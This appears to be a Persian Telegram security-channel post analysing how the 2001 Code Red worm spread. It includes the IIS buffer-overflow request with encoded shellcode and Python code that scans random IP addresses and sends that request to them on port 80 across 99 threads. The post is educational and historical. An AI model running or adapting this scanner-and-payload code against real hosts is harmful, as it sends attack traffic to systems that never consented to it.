TGViewer
TryHackBox ( AI Security ) TryHackBox ( AI Security ) @aithb · 1.52K subscribers
Post #63 3.51K
TryHackBox ( AI Security ) 🪱 کد رد (Code Red) • صبح روز ۱۵ ژوئیه ۲۰۰۱: تحلیلگران شرکت eEye Digital Security در حالی که آخرین جرعه‌های نوشیدنی گازدار محبوبشان، Code Red Mountain Dew، را می‌نوشیدند، با هشدارهایی درباره گسترش سریع یک کرم کامپیوتری جدید مواجه شدند. همین موضوع باعث شد نام…
تحلیل حمله بر فرض مثال چطوری کرم گسترش پیدا کرده :

۱. روش اصلی حمله: سوءاستفاده از آسیب‌پذیری سرریز بافر (Buffer Overflow)


هدف: وب‌سرورهای Microsoft IIS (Internet Information Services) که نسخه‌های آسیب‌پذیر کتابخانه idq.dll را اجرا می‌کردند.

مکانیزم:
کرم با ارسال یک درخواست HTTP مخرب به شکل زیر، باعث سرریز بافر در ماژول ایندکس‌سازی (Indexing Service) می‌شد:

GET /default.ida?[رشته طولانی از Nها]%u9090%u6858%ucbd3%u7801... HTTP/1.0

رشته Nها باعث سرریز بافر و بازنویسی حافظه می‌شد.

کد هگزادسیمال بعدی (%u9090...) حاوی دستورات ماشینی (Shellcode) بود که کنترل سرور را به مهاجم می‌داد.

۲. روش‌های گسترش خودکار

+ اسکن تصادفی IPها:
کرم به صورت خودکار آدرس‌های IP تصادفی را اسکن می‌کرد و به هر سروری که پورت ۸۰ (HTTP) باز بود، درخواست مخرب خود را ارسال می‌نمود.

اسکن تصادفی IPها
کرم Code Red از الگوریتم‌های ساده‌ای برای تولید آدرس‌های IP تصادفی استفاده می‌کرد. در پایتون، این فرآیند را می‌توان به صورت زیر شبیه‌سازی کرد:

import random

def generate_random_ip():
    return ".".join(str(random.randint(0, 255)) for _ in range(4))

# مثال: تولید ۱۰ آدرس IP تصادفی
for _ in range(10):
    print(generate_random_ip())

+ ارسال درخواست مخرب به پورت ۸۰
کرم پس از پیدا کردن یک سرور با پورت ۸۰ باز، درخواست HTTP مخرب خود را ارسال می‌کرد. در پایتون، این کار را می‌توان با استفاده از کتابخانه socket شبیه‌سازی کرد:

import socket

def send_malicious_request(ip):
    try:
        # ایجاد یک سوکت TCP
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(2)  # تنظیم timeout برای اتصال
        sock.connect((ip, 80))  # اتصال به پورت ۸۰
       
        # ارسال درخواست مخرب
        malicious_request = (
            "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0\r\n"
            "Host: example.com\r\n"
            "\r\n"
        )
        sock.send(malicious_request.encode())
       
        # دریافت پاسخ (اختیاری)
        response = sock.recv(4096)
        print(f"Response from {ip}: {response.decode()}")
       
        sock.close()
    except Exception as e:
        print(f"Failed to connect to {ip}: {e}")

# مثال: ارسال درخواست به یک IP تصادفی
random_ip = generate_random_ip()
send_malicious_request(random_ip)

تکثیر موازی:
روی هر سیستم آلوده، ۹۹ thread موازی ایجاد می‌کرد تا اسکن و آلوده‌سازی را تسریع کند.

+ ایجاد Threadهای موازی برای اسکن و آلوده‌سازی
کرم Code Red از ۹۹ thread موازی برای تسریع فرآیند اسکن و آلوده‌سازی استفاده می‌کرد. در پایتون، این کار را می‌توان با استفاده از کتابخانه threading شبیه‌سازی کرد:

import threading

def scan_and_infect(ip):
    print(f"Scanning {ip}...")
    send_malicious_request(ip)

# ایجاد ۹۹ thread موازی
threads = []
for _ in range(99):
    ip = generate_random_ip()
    thread = threading.Thread(target=scan_and_infect, args=(ip,))
    thread.start()
    threads.append(thread)

# منتظر ماندن برای اتمام تمام threadها
for thread in threads:
    thread.join()

---

عدم نیاز به تعامل کاربر:
برخلاف بسیاری از بدافزارها، Code Red برای گسترش نیازی به کلیک کاربر یا اجرای فایل پیوست نداشت. تنها کافی بود سرور به اینترنت متصل باشد!

جمع‌بندی
این کدها صرفاً برای درک بهتر مکانیزم‌های گسترش کرم Code Red ارائه شده‌اند. امروزه، چنین حملاتی با استفاده از فایروال‌ها، سیستم‌های تشخیص نفوذ (IDS)، و به‌روزرسانی‌های امنیتی به راحتی قابل پیشگیری هستند.

@TryHackBoxStory
  • 👍 6
More from @aithb
  1. Oct 3, 2026📌 SAML SECURITY SERIES | PART 01 اSAML؛ وقتی یک Login ساده، پای XML وسط می آید! اگر تا حا…
  2. Oct 2, 2026📌 نقشه خطرات هوش مصنوعی مبتنی بر عامل ، نسخه 2، ژوئن 2026. @AiTHB #هوش_مصنوعی
  3. Sep 28, 2026Strategic AI Red Teaming: Moving from Payloads to Research Questions با Obsidian باز کنید…
  4. Sep 27, 2026🎯 Resource Development در AI Red Team: نقشه‌ی دقیق روی MITRE ATLAS** 1. 🎯 Resource Devel…
  5. Sep 22, 2026📌 بررسی امنیتی مدل «Zero Trust» برای عوامل هوش مصنوعی: چک‌لیست، نسخه 3، ژوئن 2026. @AiTHB…
  6. Sep 21, 2026Android 1-Day Exploit با کمک LLM یک سؤال جالب اینجا مطرح می‌شود: آیا یک LLM می‌تواند فقط ب…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →